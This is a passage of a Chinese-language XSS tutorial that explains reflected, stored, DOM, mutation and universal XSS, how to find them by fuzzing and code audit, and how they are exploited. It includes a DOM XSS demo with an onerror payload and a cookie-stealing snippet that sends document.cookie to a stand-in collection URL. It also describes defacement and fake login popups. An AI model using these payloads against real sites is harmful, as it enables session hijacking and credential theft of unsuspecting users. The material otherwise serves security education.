class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>\u53cd\u5c04\u578b\u653b\u51fb\u6d41\u7a0b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/6508\/3717949e3fc7ae82f804812573c9a263_14797.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe2\" \/><\/p>\n<p>\u53cd\u5c04\u578bXSS\u901a\u5e38\u51fa\u73b0\u5728\u641c\u7d22\u7b49\u529f\u80fd\u4e2d\uff0c\u9700\u8981\u88ab\u653b\u51fb\u8005\u70b9\u51fb\u5bf9\u5e94\u7684\u94fe\u63a5\u624d\u80fd\u89e6\u53d1\uff0c\u4e14\u53d7\u5230XSS Auditor(chrome\u5185\u7f6e\u7684XSS\u4fdd\u62a4)\u3001NoScript\u7b49\u9632\u5fa1\u624b\u6bb5\u7684\u5f71\u54cd\u8f83\u5927\uff0c\u6240\u4ee5\u5b83\u7684\u5371\u5bb3\u6027\u8f83\u5b58\u50a8\u578b\u8981\u5c0f\u3002<\/p>\n<p>\u90a3\u4e48\u5982\u679c\u60f3\u8981\u6269\u5927\u53cd\u5c04\u578bXSS\u7684\u5f71\u54cd\uff0c\u5c31\u8981\u60f3\u529e\u6cd5\u8f6c\u5316\u4e3a\u6301\u4e45\u578b\uff0c\u6216\u8005\u4f7f\u653b\u51fb\u6301\u4e45\u5316\u3002\u4ee5\u4e0b\u662f\u51e0\u79cd\u65b9\u6cd5\u7684\u4ecb\u7ecd\uff1a<\/p>\n<p><strong>ClickJacking<\/strong><\/p>\n<p>\u7b80\u5355\u6765\u8bf4ClickJacking\u5927\u81f4\u662f\u8fd9\u4e48\u56de\u4e8b\uff1a<\/p>\n<ol>\n<li>\u8868\u73b0\u4e3a\u70b9\u51fb\u67d0\u4e2a\u94fe\u63a5\u6216button\u65f6\uff0c\u5b9e\u9645\u4e0a\u662f\u70b9\u51fb\u5230\u522b\u7684\u5730\u65b9\u53bb\u4e86(\u52ab\u6301\u94fe\u63a5)<\/li>\n<li>\u4e0d\u4e00\u5b9a\u9700\u8981javascript\uff0c\u6240\u4ee5noscript\u4e5f\u6321\u4e0d\u4f4f\uff0c\u4f46\u662f\u5982\u679c\u6709javascript\u4f1a\u8ba9\u4e8b\u60c5\u66f4\u7b80\u5355<\/li>\n<li>\u653b\u51fb\u662f\u57fa\u4e8eDHTML\u7684<\/li>\n<li>\u9700\u8981\u653b\u51fb\u8005\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u63a7\u5236\u9875\u9762<\/li>\n<li>\u6240\u4ee5\uff0c\u6211\u4eec\u53ea\u8981\u5c06\u7528\u6237\u7684\u70b9\u51fb\u52ab\u6301\u5230\u6211\u4eec\u7684\u94fe\u63a5\u4e0a\u53bb\u5c31\u884c\u4e86\uff0c\u800c\u4e14ClickJacking\u662f\u53ef\u4ee5\u8de8\u57df\u7684\u3002<\/li>\n<\/ol>\n<p>\u5177\u4f53\u5b9e\u4f8b\u53ef\u4ee5\u901a\u8fc7google\u627e\u5230\u3002<\/p>\n<p><strong>\u57fa\u4e8eCross Iframe Trick\u7684XSS<\/strong><\/p>\n<p>\u7ed3\u5408Cross Frame Script (\u8de8\u6846\u67b6\u811a\u672c) \u653b\u51fb\uff0cXSS\u80fd\u591f\u505a\u5230\u4ee5\u4e0b\u51e0\u70b9\uff1a<\/p>\n<ol>\n<li>\u8de8\u57df\u6267\u884c\u811a\u672c\uff08IE\u3001Firefox\uff09<\/li>\n<li>\u628a\u975e\u6301\u4e45\u6027XSS\u53d8\u6210\u6301\u4e45\u6027XSS<\/li>\n<li>\u8de8\u9875\u9762\u6267\u884c\u811a\u672c<\/li>\n<li>\u6d4f\u89c8\u5668\u5c06\u5f88\u96be\u4fee\u8865\u8fd9\u4e00\u201c\u7279\u6027\u201d\u9020\u6210\u7684\u5a01\u80c1<\/li>\n<\/ol>\n<p>\u5177\u4f53\u7ec6\u8282\u8bf7\u53c2\u8003\uff1a<a href=\"http:\/\/blog.sina.com.cn\/s\/blog_714c124f010171rx.html\">source<\/a><\/p>\n<h5><span class=\"ez-toc-section\" id=\"%e5%ad%98%e5%82%a8%e5%9e%8b\"><\/span>\u5b58\u50a8\u578b<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>\u5b58\u50a8\u578b\uff08\u6216 HTML \u6ce8\u5165\u578b\/\u6301\u4e45\u578b\uff09XSS \u653b\u51fb\u6700\u5e38\u53d1\u751f\u5728\u7531\u793e\u533a\u5185\u5bb9\u9a71\u52a8\u7684\u7f51\u7ad9\u6216 Web \u90ae\u4ef6\u7f51\u7ad9\uff0c\u4e0d\u9700\u8981\u7279\u5236\u7684\u94fe\u63a5\u6765\u6267\u884c\u3002\u9ed1\u5ba2\u4ec5\u4ec5\u9700\u8981\u63d0\u4ea4 XSS \u6f0f\u6d1e\u5229\u7528\u4ee3\u7801\uff08\u53cd\u5c04\u578bxss\u901a\u5e38\u53ea\u5728url\u4e2d\uff09\u5230\u4e00\u4e2a\u7f51\u7ad9\u4e0a\u5176\u4ed6\u7528\u6237\u53ef\u80fd\u8bbf\u95ee\u7684\u5730\u65b9\u3002\u8fd9\u4e9b\u5730\u533a\u53ef\u80fd\u662f\u535a\u5ba2\u8bc4\u8bba\uff0c\u7528\u6237\u8bc4\u8bba\uff0c\u7559\u8a00\u677f\uff0c\u804a\u5929\u5ba4\uff0cHTML \u7535\u5b50\u90ae\u4ef6\uff0cwikis\uff0c\u548c\u5176\u4ed6\u7684\u8bb8\u591a\u5730\u65b9\u3002\u4e00\u65e6\u7528\u6237\u8bbf\u95ee\u53d7\u611f\u67d3\u7684\u9875\uff0c\u6267\u884c\u662f\u81ea\u52a8\u7684\u3002<\/p>\n<h6><span class=\"ez-toc-section\" id=\"%e6%bc%8f%e6%b4%9e%e6%88%90%e5%9b%a0-2\"><\/span>\u6f0f\u6d1e\u6210\u56e0<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>\u5b58\u50a8\u578bXSS\u6f0f\u6d1e\u7684\u6210\u56e0\u4e0e\u53cd\u5c04\u578b\u7684\u6839\u6e90\u7c7b\u4f3c\uff0c\u4e0d\u540c\u7684\u662f\u6076\u610f\u4ee3\u7801\u4f1a\u88ab\u4fdd\u5b58\u5728\u670d\u52a1\u5668\u4e2d\uff0c\u5bfc\u81f4\u5176\u5b83\u7528\u6237\uff08\u524d\u7aef\uff09\u548c\u7ba1\u7406\u5458\uff08\u524d\u540e\u7aef\uff09\u5728\u8bbf\u95ee\u8d44\u6e90\u65f6\u6267\u884c\u4e86\u6076\u610f\u4ee3\u7801\u3002<\/p>\n<h6><span class=\"ez-toc-section\" id=\"%e5%88%a9%e7%94%a8%e6%96%b9%e5%bc%8f-2\"><\/span>\u5229\u7528\u65b9\u5f0f<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>\u6301\u7eed\u6027\u7684 XSS\uff08\u5373\u5b58\u50a8\u578b\uff09 \u7684\u5371\u9669\u6027\u6bd4\u975e\u6301\u4e45\u6027\u9ad8\uff0c\u56e0\u4e3a\u7528\u6237\u6ca1\u6709\u529e\u6cd5\u4fdd\u62a4\u81ea\u5df1\u3002\u4e00\u65e6\u9ed1\u5ba2\u6210\u529f\u5728\u67d0\u4e2a\u9875\u9762\u6ce8\u5165\u4e86\u6f0f\u6d1e\u5229\u7528\u4ee3\u7801\uff0c\u4ed6\u5c06\u5ba3\u4f20\u53d7\u611f\u67d3\u9875\u9762\u7684 URL \u6765\u5e0c\u671b\u4e0d\u77e5\u60c5\u7684\u7528\u6237\u4e2d\u62db\u3002\u5373\u4f7f\u7528\u6237\u5bf9\u975e\u6301\u7eed\u6027 XSS \u7684 URL \u61c2\u5f97\u8bc6\u522b\uff0c\u4e5f\u4f1a\u5f88\u5bb9\u6613\u7684\u53d7\u5230\u5f71\u54cd\u3002<\/p>\n<p>\u5b58\u50a8\u578b\u653b\u51fb\u6d41\u7a0b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/6508\/f54f749ba71e93192b4f0f5f99f80be1_87781.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe3\" \/><\/p>\n<h5><span class=\"ez-toc-section\" id=\"dom%e5%9e%8b\"><\/span>DOM\u578b<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>\u901a\u8fc7\u4fee\u6539\u9875\u9762\u7684DOM\u8282\u70b9\u5f62\u6210\u7684XSS\uff0c\u79f0\u4e4b\u4e3aDOM Based XSS<\/p>\n<p>\u4f8b\u5982\u8fd9\u4e48\u4e00\u4e2a\u9875\u9762\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;html&gt;&lt;head&gt;&lt;title&gt;DOM Based XSS Demo&lt;\/title&gt;&lt;script&gt;function xsstest(){var str = document.getElementById(&quot;input&quot;).value;document.getElementById(&quot;output&quot;).innerHTML = &quot;&lt;imgsrc=&#039;&quot;+str+&quot;&#039;&gt;&lt;\/img&gt;&quot;;}&lt;\/script&gt;&lt;\/head&gt;&lt;body&gt;&lt;div id=&quot;output&quot;&gt;&lt;\/div&gt;&lt;input type=&quot;text&quot; id=&quot;input&quot; size=50 value=&quot;&quot; \/&gt;&lt;input type=&quot;button&quot; value=&quot;submit&quot; onclick=&quot;xsstest()&quot; \/&gt;&lt;\/body&gt;&lt;\/html&gt;<\/code><\/pre>\n<p>\u5728\u8fd9\u6bb5\u4ee3\u7801\u4e2d\uff0csubmit\u6309\u94ae\u7684onclick\u4e8b\u4ef6\u8c03\u7528\u4e86xsstest()\u51fd\u6570\u3002\u800c\u5728xsstest()\u4e2d\uff0c\u4fee\u6539\u4e86\u9875\u9762\u7684DOM\u8282\u70b9\uff0c\u901a\u8fc7innerHTML\u628a\u4e00\u6bb5\u7528\u6237\u6570\u636e\u5f53\u4f5cHTML\u5199\u5165\u5230\u9875\u9762\u4e2d\uff0c\u9020\u6210\u4e86DOM Based XSS\u3002<\/p>\n<p>\u5f53\u7528\u6237\u8f93\u5165\uff1a x\u2019 onerror=\u2019javascript:alert(\/xss\/) \uff0c\u4ee3\u7801\u5c31\u53d8\u6210\u4e86\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;img src=&#039;x&#039; onerror=&#039;javascript:alert(\/xss\/)&#039;&gt;&lt;\/img&gt;<\/code><\/pre>\n<p>\u6700\u540e\u811a\u672c\u88ab\u6267\u884c\uff0c\u51fa\u73b0\u5f39\u7a97\u3002<\/p>\n<p>\u524d\u9762\u4e24\u79cd\u6076\u610f\u811a\u672c\u90fd\u4f1a\u7ecf\u8fc7\u670d\u52a1\u5668\u7aef\u7136\u540e\u8fd4\u56de\u7ed9\u5ba2\u6237\u7aef\uff0c\u76f8\u5bf9DOM\u578b\u6765\u8bf4\u6bd4\u8f83\u597d\u68c0\u6d4b\u4e0e\u9632\u5fa1\uff0c\u800cDOM\u578b\u4e0d\u7528\u5c06\u6076\u610f\u811a\u672c\u4f20\u8f93\u5230\u670d\u52a1\u5668\u5728\u8fd4\u56de\u5ba2\u6237\u7aef\uff0c\u5373DOM\u578bXSS\u4e00\u822c\u548c\u670d\u52a1\u5668\u7684\u89e3\u6790\u54cd\u5e94\u6ca1\u6709\u76f4\u63a5\u7684\u5173\u7cfb\uff0c\u800c\u662f\u5728JavaScript\u811a\u672c\u52a8\u6001\u6267\u884c\u7684\u8fc7\u7a0b\u4e2d\u4ea7\u751f\u7684\u3002<\/p>\n<h6><span class=\"ez-toc-section\" id=\"%e4%b8%a4%e4%b8%aa%e5%85%b8%e5%9e%8b%e7%9a%84dom%e8%bf%87%e7%a8%8b\"><\/span>\u4e24\u4e2a\u5178\u578b\u7684DOM\u8fc7\u7a0b<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>1\uff09<strong>\u53cd\u5c04\u578bDOM base XSS<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/6508\/7592838be1e0f1515c37895de9c1d4cd_43883.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe4\" \/><\/p>\n<p><strong>2\uff09\u5b58\u50a8\u578bDOM base XSS<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/6508\/7b0f35269253d818ac6cc0e66aaca01e_85912.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe5\" \/><\/p>\n<h6><span class=\"ez-toc-section\" id=\"dom-xss%e7%9a%84%e5%88%a9%e7%94%a8\"><\/span>DOM XSS\u7684\u5229\u7528<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>\u786e\u5b9a\u57fa\u4e8eDOM\u578b\u7684XSS\u6f0f\u6d1e\uff0c\u4e00\u79cd\u6709\u6548\u7684\u65b9\u6cd5\u662f\uff0c\u68c0\u67e5\u6240\u6709\u5ba2\u6237\u7aefJavaScript\uff0c\u770b\u5176\u4e2d\u662f\u5426\u4f7f\u7528\u4efb\u4f55\u53ef\u80fd\u4f1a\u5bfc\u81f4\u6f0f\u6d1e\u7684DOM\u5c5e\u6027\u3002<\/p>\n<p>\u68c0\u67e5\u6bcf\u4e00\u6bb5\u5ba2\u6237\u7aefJavaScript\uff0c\u770b\u5176\u4e2d\u662f\u5426\u51fa\u73b0\u4ee5\u4e0bAPI\uff0c\u5b83\u4eec\u53ef\u7528\u4e8e\u8bbf\u95ee\u901a\u8fc7\u4e00\u4e2a\u4e13\u95e8\u8bbe\u8ba1\u7684URL\u63a7\u5236\u7684DOM\u6570\u636e\uff1b<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\"> document.location document.URL document.URLUnencoded document.referrer window.location<\/code><\/pre>\n<p>\u5728\u6bcf\u4e00\u4e2a\u4f7f\u7528\u4e0a\u8ff0API\u7684\u4f4d\u7f6e\uff0c\u4ed4\u7ec6\u68c0\u67e5\u90a3\u91cc\u7684\u4ee3\u7801\uff0c\u786e\u5b9a\u5e94\u7528\u7a0b\u5e8f\u5982\u4f55\u5904\u7406\u7528\u6237\u53ef\u63a7\u7684\u6570\u636e\uff1b\u4ee5\u53ca\u662f\u5426\u53ef\u4ee5\u4f7f\u7528\u4e13\u95e8\u8bbe\u8ba1\u7684\u8f93\u5165\u6765\u6267\u884cJavaScript\u3002<\/p>\n<p>\u5c24\u5176\u6ce8\u610f\u68c0\u67e5\u5e76\u6d4b\u8bd5\u63a7\u5236\u7684\u6570\u636e\u88ab\u4f20\u9001\u81f3\u4ee5\u4e0b\u4efb\u4f55\u4e00\u4e2aAPI\u7684\u60c5\u51b5\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">document.write()document.writeln()document.body.innerHtmleval()window.execScript()window.setInterval()window.setTimeout()<\/code><\/pre>\n<h5><span class=\"ez-toc-section\" id=\"%e5%85%b6%e5%ae%83%e7%b1%bb%e5%9e%8b\"><\/span>\u5176\u5b83\u7c7b\u578b<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<h6><span class=\"ez-toc-section\" id=\"mxss\"><\/span>mXSS<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>mXSS\u4e2d\u6587\u662f\u7a81\u53d8\u578bXSS\uff0c\u6307\u7684\u662f\u539f\u5148\u7684Payload\u63d0\u4ea4\u662f\u65e0\u5bb3\u4e0d\u4f1a\u4ea7\u751fXSS\uff0c\u800c\u7531\u4e8e\u4e00\u4e9b\u7279\u6b8a\u539f\u56e0\uff0c\u5982\u53cd\u7f16\u7801\u7b49\uff0c\u5bfc\u81f4Payload\u53d1\u751f\u53d8\u5f02\uff0c\u5bfc\u81f4\u7684XSS\u3002mXSS\u56fe\u89e3\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/6508\/f1f1649597190a356e1494e7df15f8f7_50305.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe6\" \/><\/p>\n<p>\u5176\u4e2d\u7531\u4e8einnerHTML\u4f1a\u5c06HTML\u5b9e\u4f53\uff0cCSS\u8f6c\u4e49\u5b57\u7b26\uff0cANSI\u7f16\u7801\u7b49\u8fdb\u884c\u53cd\u8f6c\u4e49\uff0c\u56e0\u6b64\u539f\u6765\u88ab\u8f6c\u4e49\u4e4b\u540e\u8ba4\u4e3a\u5b89\u5168\u7684\u7528\u6237\u8f93\u5165\u5f88\u6709\u53ef\u80fd\u5728\u7ed5\u8fc7\u8fc7\u6ee4\u5668\u4e4b\u540e\u88ab\u53cd\u8f6c\u56de\u53bb\u3002<\/p>\n<p>\u4e0b\u9762\u7684\u6f0f\u6d1e\u662f\u5b58\u5728\u4e8e\u4ee5\u524d\u7248\u672c\u7684PC\u7684QQ\u5ba2\u6237\u7aef\u7684\u9875\u9762\u9884\u89c8\u529f\u80fd\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.fooying.com\/images\/post\/the-art-of-xss-1-introduction\/1487064388_8_w908_h405.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe7\" \/><\/p>\n<p>\u8fd9\u662f\u535a\u5ba2\u56ed\u63d0\u4ea4\u7684\u4e00\u7bc7\u6587\u7ae0\uff0c\u53ef\u4ee5\u770b\u5230\uff0c\u63d0\u4ea4\u7684XSS Payload\u5df2\u7ecf\u88ab\u8f6c\u4e49\u4e86\uff0c\u4e0d\u4ea7\u751f\u5371\u5bb3\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.fooying.com\/images\/post\/the-art-of-xss-1-introduction\/1487064477_26_w627_h400.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe8\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.fooying.com\/images\/post\/the-art-of-xss-1-introduction\/1487064499_63_w585_h307.jpeg\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe9\" \/><\/p>\n<p>\u4e0a\u56fe\u662f\u5728QQ\u5ba2\u6237\u7aef\u91cc\u5206\u4eab\u4e0a\u9762\u7684\u535a\u5ba2\u56ed\u90a3\u7bc7\u6587\u7ae0\u7684\u94fe\u63a5\uff0c\u800cQQ\u5b58\u5728\u7f51\u5740\u9884\u89c8\u529f\u80fd\uff0c\u4e8e\u662f\u70b9\u51fb\u7f51\u5740\u53ef\u4ee5\u5728\u53f3\u4fa7\u663e\u793a\u51fa\u4f18\u5316\u540e\u7684\u9875\u9762\u7684\u5185\u5bb9\uff0c\u5c31\u5bfc\u81f4\u4e86XSS\u7684\u4ea7\u751f\uff1b\u8fd9\u4e2a\u9884\u89c8\u529f\u80fd\u5b9e\u9645\u4e0a\u662fQQ\u5ba2\u6237\u7aef\u5185\u5d4c\u4e86\u4e00\u4e2a\u7f51\u9875\uff0c\u8fd9\u4e2a\u9875\u9762\u5bf9\u539f\u7f51\u9875\u5185\u5bb9\u8fdb\u884c\u63d0\u53d6\u548c\u5904\u7406\u7684\u8fc7\u7a0b\u4e2d\uff0c\u5c06\u539f\u672c\u65e0\u5bb3\u7684XSS Payload\u8fdb\u884c\u4e86\u8f6c\u7801\u64cd\u4f5c\uff0c\u4e8e\u662f\u5bfc\u81f4\u4e86Payload \u53d8\u5f02\u800c\u4ea7\u751f\u4e86XSS\u3002<\/p>\n<h6><span class=\"ez-toc-section\" id=\"uxss\"><\/span>uXSS<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>UXSS\u5168\u79f0Universal Cross-Site Scripting\uff0c\u7ffb\u8bd1\u8fc7\u6765\u5c31\u662f\u901a\u7528\u578bXSS\uff0c\u4e5f\u53ebUniversal XSS\u3002UXSS\u662f\u4e00\u79cd\u5229\u7528\u6d4f\u89c8\u5668\u6216\u8005\u6d4f\u89c8\u5668\u6269\u5c55\u6f0f\u6d1e\u6765\u5236\u9020\u4ea7\u751fXSS\u7684\u6761\u4ef6\u5e76\u6267\u884c\u4ee3\u7801\u7684\u4e00\u79cd\u653b\u51fb\u7c7b\u578b\u3002UXSS \u53ef\u4ee5\u7406\u89e3\u4e3aBypass <strong>\u540c\u6e90\u7b56\u7565<\/strong>\u3002<\/p>\n<p>\u5e38\u89c1\u7684XSS\u653b\u51fb\u7684\u662f\u56e0\u4e3a\u5ba2\u6237\u7aef\u6216\u670d\u52a1\u7aef\u7684\u4ee3\u7801\u5f00\u53d1\u4e0d\u4e25\u8c28\u7b49\u95ee\u9898\u800c\u5b58\u5728\u6f0f\u6d1e\u7684\u76ee\u6807\u7f51\u7ad9\u6216\u8005\u5e94\u7528\u7a0b\u5e8f\u3002\u8fd9\u4e9b\u653b\u51fb\u7684\u5148\u51b3\u6761\u4ef6\u662f\u9875\u9762\u5b58\u5728\u6f0f\u6d1e\uff0c\u800c\u5b83\u4eec\u7684\u5f71\u54cd\u5f80\u5f80\u4e5f\u56f4\u7ed5\u7740\u6f0f\u6d1e\u9875\u9762\u672c\u8eab\u7684\u7528\u6237\u4f1a\u8bdd\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c\u56e0\u4e3a\u6d4f\u89c8\u5668\u7684\u5b89\u5168\u529f\u80fd\u7684\u5f71\u54cd\uff0cXSS\u653b\u51fb\u53ea\u80fd\u8bfb\u53d6\u53d7\u611f\u67d3\u7684\u4f1a\u8bdd\uff0c\u800c\u65e0\u6cd5\u8bfb\u53d6\u5176\u4ed6\u7684\u4f1a\u8bdd\u4fe1\u606f\uff0c\u4e5f\u5c31\u662f\u540c\u6e90\u7b56\u7565\u7684\u5f71\u54cd\u3002<br \/>\nUXSS\u4fdd\u7559\u4e86\u57fa\u672cXSS\u7684\u7279\u70b9\uff0c\u5229\u7528\u6f0f\u6d1e\uff0c\u6267\u884c\u6076\u610f\u4ee3\u7801\uff0c\u4f46\u662f\u6709\u4e00\u4e2a\u91cd\u8981\u7684\u533a\u522b\uff1a<\/p>\n<p><strong>\u4e0d\u540c\u4e8e\u5e38\u89c1\u7684XSS\uff0cUXSS\u662f\u4e00\u79cd\u5229\u7528\u6d4f\u89c8\u5668\u6216\u8005\u6d4f\u89c8\u5668\u6269\u5c55\u6f0f\u6d1e\u6765\u5236\u9020\u4ea7\u751fXSS\u7684\u6761\u4ef6\u5e76\u6267\u884c\u4ee3\u7801\u7684\u4e00\u79cd\u653b\u51fb\u7c7b\u578b\u3002<\/strong><\/p>\n<h4><span class=\"ez-toc-section\" id=\"%e6%bc%8f%e6%b4%9e%e6%8c%96%e6%8e%98%e6%a3%80%e6%b5%8b\"><\/span>\u6f0f\u6d1e\u6316\u6398\/\u68c0\u6d4b<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<h5><span class=\"ez-toc-section\" id=\"fuzzing%e6%8a%80%e6%9c%af\"><\/span>Fuzzing\u6280\u672f<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>Fuzzing\uff08\u6a21\u7cca\u6d4b\u8bd5\uff09\u662f\u6316\u6398\u6f0f\u6d1e\u6700\u5e38\u7528\u7684\u624b\u6bb5\u4e4b\u4e00\uff0c\u4e0d\u6b62\u662fXSS\uff0c\u5e94\u8be5\u53ef\u4ee5\u8bf4Fuzzing\u53ef\u4ee5\u7528\u4e8e\u5927\u90e8\u5206\u7c7b\u578b\u7684\u6f0f\u6d1e\u6316\u6398\u3002\u901a\u4fd7\u53ef\u4ee5\u628a\u8fd9\u79cd\u65b9\u5f0f\u7406\u89e3\u4e3a\u4e0d\u65ad\u5c1d\u8bd5\u7684\u8fc7\u7a0b\u3002<\/p>\n<p>Fuzzing\u6d41\u7a0b\u56fe\uff08<a href=\"https:\/\/www.fooying.com\/the-art-of-xss-2-xss-fuzzing\/\">\u51fa\u5904<\/a>\uff09\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/6508\/74fb451ccb916beae9423069fe03d0f5_35656.jpg\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe10\" \/><\/p>\n<p>XSS fuzzing\u6280\u672f \u63a8\u8350\u9605\u8bfb\uff1a<a href=\"https:\/\/www.fooying.com\/the-art-of-xss-2-xss-fuzzing\/\">https:\/\/www.fooying.com\/the-art-of-xss-2-xss-fuzzing\/<\/a><\/p>\n<h5><span class=\"ez-toc-section\" id=\"%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1\"><\/span>\u4ee3\u7801\u5ba1\u8ba1<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<h6><span class=\"ez-toc-section\" id=\"xss%e6%95%b0%e6%8d%ae%e6%ba%90\"><\/span>XSS\u6570\u636e\u6e90<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>\u5373\u53ef\u4ee5\u7531\u5916\u90e8\uff08\u4e0d\u53d7\u4fe1\u4efb\uff09\u6e90\u63a7\u5236\u7684\u8f93\u5165\u70b9\uff1a<\/p>\n<p>URL<\/p>\n<ul>\n<li>location<\/li>\n<li>location.pathname<\/li>\n<li>location.search<\/li>\n<li>location.hash<\/li>\n<li>document.URL<\/li>\n<li>document.documentURI<\/li>\n<li>document.baseURI<\/li>\n<\/ul>\n<p>Navigation<\/p>\n<ul>\n<li>window.name<\/li>\n<li>document.referer<\/li>\n<\/ul>\n<p>Communication<\/p>\n<ul>\n<li>Ajax<\/li>\n<li>Fetch<\/li>\n<li>WebSocket<\/li>\n<li>PostMessage<\/li>\n<\/ul>\n<p>Storage<\/p>\n<ul>\n<li>Cookie<\/li>\n<li>LocalStorage<\/li>\n<li>SessionStotage<\/li>\n<\/ul>\n<p>\u8bba\u575b\u6587\u7ae0\uff1a<a href=\"https:\/\/bbs.zkaq.cn\/t\/1284.html\">\u901a\u8fc7\u4ee3\u7801\u5ba1\u8ba1\u627e\u51fa\u7f51\u7ad9\u4e2d\u7684XSS\u6f0f\u6d1e\u5b9e\u6218<\/a><\/p>\n<h4><span class=\"ez-toc-section\" id=\"xss%e7%9a%84%e5%88%a9%e7%94%a8\"><\/span>XSS\u7684\u5229\u7528<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<h5><span class=\"ez-toc-section\" id=\"%e5%88%a9%e7%94%a8xss%e7%aa%83%e5%8f%96cookie\"><\/span>\u5229\u7528XSS\u7a83\u53d6cookie<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>\u7a83\u53d6cookie\u662fxss\u5229\u7528\u6700\u5e38\u89c1\u7684\u624b\u6bb5\uff0c\u653b\u51fb\u8005\u6709\u4e86cookie\u5c31\u76f8\u5f53\u4e8e\u62e5\u6709\u4e86\u201c\u7ba1\u7406\u5458\u201d\u8eab\u4efd\u3002\u901a\u5e38\u9700\u8981\u914d\u5408xss\u5e73\u53f0\u6765\u8fdb\u884c\u653b\u51fb\uff0c\u5f53\u88ab\u653b\u51fb\u8005\u8bbf\u95ee\u5230\u6709\u6076\u610f\u4ee3\u7801\u7684\u9875\u9762\uff0c\u4ed6\u7684cookie\u5c31\u4f1a\u88ab\u53d1\u9001\u5230xss\u5e73\u53f0\u3002<\/p>\n<p>\u5e38\u7528\u83b7\u53d6cookie\u7684js\u4ee3\u7801\u5982\u4e0b\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;img src=&quot;http:\/\/localhost\/XSS_cookie.php?cookie=&#039;+document.cookie&quot;&gt;&lt;\/img&gt;&lt;script&gt;new Image().src=&quot;http:\/\/localhost\/XSS\/xss_cookie.php?cookie=&quot;+document.cookie;&lt;\/script&gt;<\/code><\/pre>\n<p>\u5176\u4e2d\u672c\u5730\u7684XSS_cookie.php\u4e2d\u7684\u5185\u5bb9\u5982\u4e0b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/6508\/bd680301ed21e8d4e7053f5b90f0554b_30307.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe11\" \/><\/p>\n<h5><span class=\"ez-toc-section\" id=\"xss%e4%bf%ae%e6%94%b9%e7%bd%91%e9%a1%b5\"><\/span>XSS\u4fee\u6539\u7f51\u9875<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>\u8be5\u5229\u7528\u65b9\u5f0f\u7684\u524d\u63d0\u662f\u7f51\u7ad9\u5fc5\u987b\u5b58\u5728\u5b58\u50a8\u578bxss\u6f0f\u6d1e\uff0c\u5e76\u4e14\u4f1a\u5c06\u7ed3\u679c\u8fd4\u56de\u5230\u9875\u9762\u4e0a\u3002\u6211\u4eec\u53ef\u4ee5\u5728\u6e90\u7801\u4e2d\u63d2\u5165\u4e00\u6bb5js\u4ee3\u7801\uff0c\u4f5c\u7528\u5728\u4e8e\u83b7\u53d6\u7f51\u7ad9\u6e90\u7801\u4e2d\u7684\u6807\u7b7e\uff0c\u7136\u540e\u4fee\u6539\u5176\u4e2d\u7684\u5c5e\u6027\u503c\uff0c\u8fbe\u5230\u4fee\u6539\u7f51\u9875\u7684\u6548\u679c\u3002\u4e5f\u53ef\u4ee5\u6784\u9020\u5f39\u7a97\u7b49\u8bf1\u5bfc\u88ab\u653b\u51fb\u8005\u8f93\u5165\u8d26\u53f7\u5bc6\u7801\u7b4